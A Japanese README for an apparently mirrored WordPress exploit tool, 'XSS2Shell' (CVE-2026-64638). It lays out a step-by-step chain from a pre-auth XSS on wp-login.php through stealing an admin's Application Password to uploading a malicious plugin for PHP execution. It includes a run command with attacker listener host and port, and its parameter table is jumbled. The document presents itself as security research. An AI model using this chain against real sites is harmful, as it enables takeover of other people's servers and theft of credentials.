
WordPressの認証前XSSを、DOM clobbering、REST APIの悪用、悪意のあるプラグインのアップロードを介してRCE(リモートコード実行)に昇格させ、サーバーサイド実行を可能にする概念実証(PoC)。認可されたテストのみを対象としています。
HackSpeak 配布ミラー。このリポジトリは WordSec が公開した XSS2Shell 教育用 PoC(CVE-2026-64638)の配布ミラーであり、コードはアップストリームと同一です。アップストリームは MIT License、Copyright (c) 2026 WordSec。
⚠️ セキュリティ研究および認可されたテストのみを目的としています。自分が所有しているか、書面による承認を得て評価を行う WordPress サイトに対してのみ実行してください。PoC は一時的な公開物を生成してクリーンアップします。第三者管理者や本番システムに対しては実行しないでください。
XSS2Shell(CVE-2026-64638) は、WordPress のログインページ(wp-login.php)における事前認証の反射型 XSSであり、完全なチェーンを経由してサーバーサイド PHP コード実行(RCE) に昇格させることができます。
strip_tags() と WordPress KSES(wp_kses_post())の解析の相違——< とタグ名の間にスペースを挿入すると(例: < area)、前者は通常のテキストとして保持され、後者は正当な HTML 要素(<area>/<div>/<button> はすべて許可リストに含まれる)として解析されます;ajaxurl の乗っ取り → ログインページに同梱される user-profile.js が jQuery POST を自動トリガー → REST API JSONP(_jsonp)→ Same Origin Method Execution(SOME、Paulos Yibelo 2022)→ クロスウィンドウで管理者の Application Password 承認ボタンをクリック → API 認証情報を窃取 → <script> を含むページを公開 → 悪意のあるプラグイン ZIP をアップロード → PHP を直接実行(アクティベーション不要);python3 xss2shell_poc.py -t http://wordpress.test --lhost 192.168.1.100 --lport 8080 -c "whoami"
| パラメータ | 説明 |
|---|---|
-t, --target |
依存関係:Python 3.7+、サードパーティパッケージ不要。ターゲットサイトに管理者としてログインし、攻撃者の URL を開く必要があります(1 回のインタラクション)。
| WordPress のベースアドレス(http/https を含む、末尾スラッシュは自動で正規化) |
-c, --command | シェル準備完了後に実行するコマンド |
--lhost / --lport | リスニングアドレス/ポート(lport 0 = ランダム) |
--keep | 一時公開ページを保持(デフォルトはクリーンアップ) |